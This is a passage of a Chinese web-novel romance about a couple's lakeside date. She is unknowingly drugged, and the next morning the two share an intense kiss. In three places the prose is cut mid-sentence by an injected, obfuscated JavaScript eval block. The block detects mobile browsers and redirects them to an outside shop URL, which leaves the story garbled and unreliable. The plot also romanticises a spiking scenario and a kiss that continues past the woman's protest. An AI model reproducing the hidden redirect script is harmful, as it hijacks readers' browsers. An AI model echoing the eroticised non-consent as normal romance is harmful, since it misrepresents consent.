听闻,沈错目光幽幽地看着她,莞尔一笑,“好吧,那看来**还未成功,同志我仍需努力!” 说完,他一口吃完了手里的棉花糖。 沈错抬头看了眼天空,一顿感慨:“这跳跳糖的味道真不错。” 菘蓝诧异地皱了皱眉:“嗯?不是棉花糖吗?” 沈错目光灼灼地看着她道:“我吃的好像是跳跳糖,吃一口,心就跳一下。” 菘蓝:“...........” 她看向沈错:“心率过快是病,我劝你去医院看看。” 沈错吸了一口凉气,咬着牙恨恨道:“宝,你是不是过敏了?” 菘蓝:“嗯?” 沈错:“你对浪漫过敏。” 菘蓝:“是你的土味情话太烂了好吧,听得我都起鸡皮疙瘩。” 沈错很诚恳地点了点头:“好,我下次改进。” 另一边。 已经抵达海都的容海天,吃到了沈园的“闭门羹”。 他看了眼满脸失望的妻子,揉了揉眉心。 这些年容家势微,早就掉出了顶级财阀的圈子,他借用容家的名头拜访沈园,被拒之门外也能理解。 他想了想,决定用海外商会会长,天云集团老总的身份再次拜访。 “云儿,等明天我再联系一下沈家,我们先休息休息好吗?” 郭晓云精神状况一直不太好,他害怕连日的奔波,会让她身体吃不消。 反正已经到海都了,也不急于一时。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17142532|196353||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' r>妇人一边哭一边摇头,执拗道: “不,我不要,我现在就要见我的囡囡,我要见她。” 看着妻子满脸的泪眼,容海天的心瞬间揪起,他像哄孩子一样,轻轻拍着妻子的背: “天色很晚了,囡囡也要休息了,我们不能打扰她睡觉,等明天,明天我一定带你见她。” 其实他对这趟“寻求之旅”没抱太大希望,他们的孩子不可能还活着,沈家的少夫人可能只是跟他们长得相像。 但是,当他看到妻子混沌的双眸重新燃起光亮,他便不忍灭掉那道光。 比起不被沈家接见,他更害怕见到。 万一孩子跟他们没有任何关系,他的云儿怎么受得了打击....... “唉.......” 天色渐渐暗了下来,夫妻俩在沈园门口站了一会,便驱车离开了。 ........... 淮山湖的水上餐厅很有氛围感。 玻璃桥横架在碧莹莹的湖面上,延伸出来的平台做了泡泡屋,360度全景圆形玻璃房。 食客们可以一边看湖景一边享受美食。 菜肴都是地道的山野风味,特色水花酒用瓷白色的冰碗盛着,上面漂浮着点点金桂。 水花酒清甜可口,没有太大酒味,喝起来像是在喝发酵后的甜米汤。 菘蓝喝了一杯又一杯。 她并不知道这种酒后劲很大,水花酒还有一个响当当的名头——“迎风倒”。 这种酒喝多了不能出去吹风,一吹风就睡地里了。 一壶酒下肚,她白皙的小脸漫上绯色,脑袋和心窝热乎乎的。 “我去下洗手间。” 推开门,走在玻璃栈道上,迎面吹来了凉爽的风。 菘蓝只觉得很舒服,轻柔地舒展双臂,与凉风来了个拥抱。 从洗手间回来的路上,她突然头昏脑涨,两条腿变得软绵绵的,走路都打飘。 天色完全暗了下来,碧莹莹的湖水变成了墨色,湖面的玻璃泡泡屋一个接一个地亮了起来,远远看着十分漂亮。 菘蓝站在栈道上迷迷糊糊地看了半天,突然想不起来他们的泡泡屋是哪一个。 第一百二十章 你定力真好 她迷瞪着眼,虚晃着走了两步,按照记忆推开了一个泡泡屋。 沈错没在里面,想着他可能也去洗手间了,她便回到座位上,拿起一杯满当当的气泡水喝了起来。 她有些口干,将气泡水一饮而尽。 就在这时,泡泡屋的玻璃门被人推开了,门口的两个男人诧异地看着菘蓝:“你是谁?” 菘蓝挑眉:“嗯?” 她这才意识到自己走错了房间。 “哎呀不好意思,我走错了.......” 她连忙起身道歉,指向残留着气泡的空杯子,“多少钱,我赔付你们。” 两个男人看到她把气泡水喝完了,眉心皆是一震: “你......你一个人把它喝完了?” 菘蓝不好意思地抿了抿唇:“额......好像是的,抱歉啊,我帮你们再点一杯吧。” “不用,我已经给他们全场免单了。” 泡泡屋外,沈错站在门口,英俊的脸庞在灯光下忽明忽暗,他看着跑错地方的女人,眼底闪过一抹无奈。 他朝菘蓝伸出手:“走吧,老婆,以后你去哪我跟哪,不然真丢了。” “额......不是.......” 两个男人看向转身要走的菘蓝有些欲言又止。 沈错抬眸,淡淡扫了两人一眼:“怎么?还有事?” 一个男人连忙抢先摇了摇头:“没事没事。” 看着两人离去的背影,一个男人看着另一个男人道: “宝宝,你为什么不告诉他们,那杯水里有助兴的东西。” 另一个男人道:“害!人家是夫妻,咱们也不用多那个嘴。” “哦,那倒也是......” ............ 回到泡泡屋,菘蓝突然觉得好热,像是进了桑拿房,皮肤不停往外冒着热气儿。 “好热......” 她半眯着眸子,神情迷醉,微张的唇瓣红艳艳的。 “热?那我把暖气关了?” “嗯.....” 她红着小脸,躺在沙发上,无意识地从唇齿间溢出一声细碎的嘤咛。 她觉得泡泡屋的灯光有些刺眼,抬手遮住眼睛,胸脯随着炽热的呼吸起起伏伏。 “你怎么了?” 沈错发现她的样子有些不对劲,连忙走到她旁边。 一股雪松的冷香迎面扑来,带着丝丝缕缕的凉意,菘蓝抬眸看了男人一眼,撑着发热的脑袋,晕乎乎道: “我可能......可能是喝醉了.......” 她声音很轻,带着沙哑的尾音,像羽毛一样挠在了沈错的心坎上。 “你.....你帮我倒一杯茶......” 她支起半拉身子,侧坐在沙发上,一双桃花眼泛着水润的媚意,莹润的唇瓣开开合合,很是撩人。 沈错眸色一暗,喉结轻轻滚了两下: “好。” 解酒茶一点也不解酒。 她还是热,燥热。 身上的每一寸皮肤都像是被火炙烤着。 她双眼迷醉,冲着身旁的男人勾了勾手:“你,过来。” 沈错愣了一下,还没走到她面前,就被一把抱住。 她像树袋熊一样挂在他身上,发热的小脸在他的胸膛滚来滚去,贪婪地嗅着那清冷的雪松味。 “嗯.....凉凉的......舒服......” 她感觉像是住进了冰箱里,爽到身体发颤。 感受着菘蓝滚烫的身体,沈错皱了皱眉,盯着她迷乱的双眼,询问道: “你刚刚是不是在外面吃了什么东西?” “嗯?什么西西?我不叫西西,我叫南南......” 某个人的脑袋已经烧成了一团热浆糊,咕嘟咕嘟往外冒着泡泡。 她的意识已经被烧干了,只觉得男人身上凉爽,就扭动着身体,一个劲地往上贴。 “别动了.....” 男人钳住她的双手,声音低哑得不成样子。 他想了想,把泡泡屋的窗帘放了下来,然后派人去找刚刚那两个男人问话。 得知那气泡水里放了某种助兴的东西后,沈错脑门上的青筋一跳一跳的。 还好他刚才把人找回来了,不然准出事。 “唔.....好热 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17142533|196353||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' .....” 怀里的女人像小猫一样蹭来蹭去,蹭得“人心惶惶”。 她抱着沈错的脖颈,疯狂作乱,一会贴贴他的脸,一会拱拱他的腰,四处惹火。 “宝,你别再考验我了,我经不起考验的......” 男人哑着发干的喉咙,拼命压抑着身体的躁动。 “我让人准备了凉水,等会你泡一泡就好了,这药效虽然猛,但是不持久的。” 美人在怀,炽热如火,他不心动是假的。 但他知道,如果他真的做了什么,等她清醒过来会恨死他。 凉水备好后,沈错将身上的树袋熊扒拉下来,摁进了浴桶里。 他知道菘蓝有关节炎,不能碰太冷的水,特意控制了水温。 水不是很冷,但又带点凉意。 他还准备了冰块敷袋,往菘蓝脑袋上一搁,瞬间降温。 菘蓝双臂扒在桶沿上,白皙的皮肤泡得水润光泽,像养在水里的月光。 她仰着通红的小脸,像鱼儿一样张着唇瓣喘息个不停,每一声喘息都勾得沈错心摇神动。 这一晚,折磨的人不是她,而是他。 ........... 凌晨四点。 浴桶里的凉水泡成了温水。 菘蓝缓缓睁开了眸子,眼神逐渐清明。 入眼,是一地的水渍和冰袋。 她茫然地坐在浴桶里,昨晚的回忆像泡泡屋的彩灯一样,一个接一个地亮起。 回想起自己昨晚干了什么,菘蓝的脸爆红。 她唰地一声从浴桶中站起,披上浴巾,刚要跨出去,瞥间屋子的角落里屈膝坐着一个人。 “醒了?” 沈错抬着淡青色的眼皮,看向菘蓝的眼神中带着疲惫的倦意。 菘蓝拢着浴巾,尴尬地吞了口唾沫:“额.....醒了.....” 男人伸手揉了揉微痛的额头,哑着嗓子问道:“感觉身体怎么样?还有没有不舒服?” 菘蓝摇了摇头,干巴巴道:“没.....没什么问题,我身体很好。” 随后,她脑子一抽,问了句:“你身体还好吗?” 第一百二十一章 吻 沈错沉默了三秒,从干哑的喉咙中滚出一句:“我身体很好。” 语气带着一丝丝的幽怨。 昨晚的他,切身体会了什么叫做水深火热。 他刚把人摁进水里,某人柔软的身子就像蛇一样缠了上来,魅魔一般蛊惑着人心。 天知道,他忍得有多辛苦。 看着男人幽怨隐晦的眼神,菘蓝尴尬地拢了拢浴巾,垂眸擦拭身上的水渍,脑海里时不时跳出昨晚的火辣场面。 她夹着他的腰,像水草一样缠绕着他...... 还非要......跨坐在他的身上....... 每一幕的画面单拎出来都足够让人脸红心跳。 她别开发热的脸,呼吸微促,默默盯着水渍缓缓流进木质地板的缝隙。 金色的阳光从泡泡屋的顶部照下来,静静洒在两人的身上。 一个站着擦头发,一个屈腿坐着闭眼小憩。 菘蓝偷偷瞄了沈错一眼,男人阖着眼皮,俊逸的侧脸泛着柔和的光,鸦羽般的睫毛在眼睑处投下一片青色阴影。 她揉着湿漉漉的头发,眨了眨眼睛,嘴角翘起一个微小的弧度。 这狗男人平时动不动就对她耍流氓,想不到关键时候还挺正人君子的。 没有趁她之危。 浴捅不远处的椅子上搭着烘干的衣物,奶白色的羊毛裙柔软地垂着,被穹顶洒下来的阳光镀上一层金色。 看着就很暖和。 菘蓝拉上隔断帘,窸窸窣窣地穿好衣服。 贴肤的羊毛裙将她姣好的身材勾勒得淋漓尽致,饱满的胸线、下凹的腰线、起伏的臀像一笔勾画成的流畅曲线。 性感的要命。 沈错一睁眼,就看到某人纤细起伏的腰身在眼前晃荡,压了一整夜的邪火唰地一下从腹部窜向头顶。 他屈腿坐起,弓着发紧的腰身,一把将菘蓝拉到怀里,灼热的吐息在她耳廓喷薄: “宝,你穿成这样,是想要我的命吗......” 男人声音哑得不成样子,带着歇斯底里的渴望。 怀里娇娇软软的人儿,让他紧绷的神经急促到发颤。 猝不及防被拉过去的菘蓝,感觉身后像有一块烧硬的烙铁,烫得要命。 反应过来那是什么,她白皙的小脸顿时绯红一片。 妈的,刚刚夸早了,这狗男人根本就正经不了三秒。 她挣扎了两下,“你,你能不能正经一点......” 男人灼热的吐息烫得她耳根发软,连带着声音都是颤巍巍的,无形中又烧了一把火。 空气变得粘稠起来,身后的呼吸声越来越沉重,她不用看,也知道背后的男人在用什么样的眼神盯着她。 她腰间一紧,被人一手箍住,随后天旋地转,柔软的身子被按在了软榻上。 “宝,我都正经一晚上了,可是你不该,不该这样撩拨我。” 他盯着她,漆黑的眸底翻涌着浓烈的渴望。 菘蓝瞪大了眼睛,红唇微张:“我......我哪有撩拨你.....” 男人抿了抿唇,眸色越来越危险,“你这样在我面前晃来晃去,还没撩拨我?” “我.....我没有......” 她小声地嘤咛了两声,脸上的表情带着些小委屈,刚睡醒的眸子泛着湿漉漉的微光,眼尾泅红一片。 这声嘤咛落在头脑发热的男人的耳里,跟邀请没什么区别。 换句话说,她现在的一举一动,对于男人来说,都是一种致命的勾引。 “宝,我可以亲你一下吗,就一下。” 他喉结干涩地滚动,漆黑的眸子泛着压抑的红气,声音中居然带着一丝可怜的乞求。 听得出来,他很努力地在控制了。 菘蓝心头一颤,不知怎么的,头脑也跟着发热了起来,别别扭扭地发出一声: “嗯......” 她声音很轻很轻,像轻飘飘的蛛丝,一吹就断,但是却紧紧捆住了男人的心。 这一声低低的嗯,是圣旨,是甘霖,是煎熬了一整才晚得到的馈赠。 眸底浓烈的情绪像开闸的洪水,宣泄而下。 他抓住她的手,两人十指相扣,指根严丝合缝地贴在一起,紧密、 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17142534|196353||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有力地贴合着。 他俯下身子,带着虔诚的眸光,轻轻吻上她的唇,然后撬开她的齿关,重重辗转厮磨,抵死缠绵。 交缠的呼吸声中,泡泡屋里的温度急速上升,两具身体在穹顶宣泄而下的光影中纠缠。 这个吻好长好长,长到菘蓝感到颅内缺氧,晕晕乎乎,眸光发沉发黑。 “嗯.....好了.......” 她趁着换气的空档,用酥软的肩膀抵着压在上方的男人,鼻息带着沙哑的媚音。 不够。 还没好。 沈错自动屏蔽了她的声音,用手扣着她的后脑,疯狂掠夺她口腔中的空气。 他不容她反抗,不容她逃跑,疾风暴雨般凌虐她的每一寸呼吸。 半个小时后。 菘蓝无力的扶在软榻边喘息,红肿的唇像饱满的樱桃,涨满了果汁。 她漂亮的桃花眼浮着一层水雾,像泛着彩光的琉璃。 男人紧紧搂着她,汗津津的额头抵在她细长的锁骨上,神情餍足。 他很开心,嘴角笑意融融。 这是第一次,她第一次心甘情愿地与他做亲密的事情。 意义非凡。 虽然只是一个吻,没能更近一步,但他已经很知足了。 “你休息一下,我去洗个澡。” 沈错恋恋不舍地放下菘蓝,不忘给她披上毯子。 软榻上的菘蓝怔愣地盯着泡泡屋的穹顶,她脑子乱乱的,耳畔一直在嗡鸣。 她想,她刚刚大概是晕了头了。 她怎么脑子一抽就答应了。 她......在干什么啊....... 沈错洗澡洗了很久,足足洗了一个多小时。 他神清气爽地披着浴巾出来的时候,菘蓝已经在吃早餐了,她仿佛跟食物有仇一样,用餐刀一下一下戳着牛排。 他擦干头发上的水珠,换上干净衣服,走到餐桌旁坐下,看着她笑道: “又怎么了,我的大小姐,谁又惹你了?” 菘蓝没有理她,冲着盘子里的牛排撒气。 她也不知道她怎么了,但就是生气。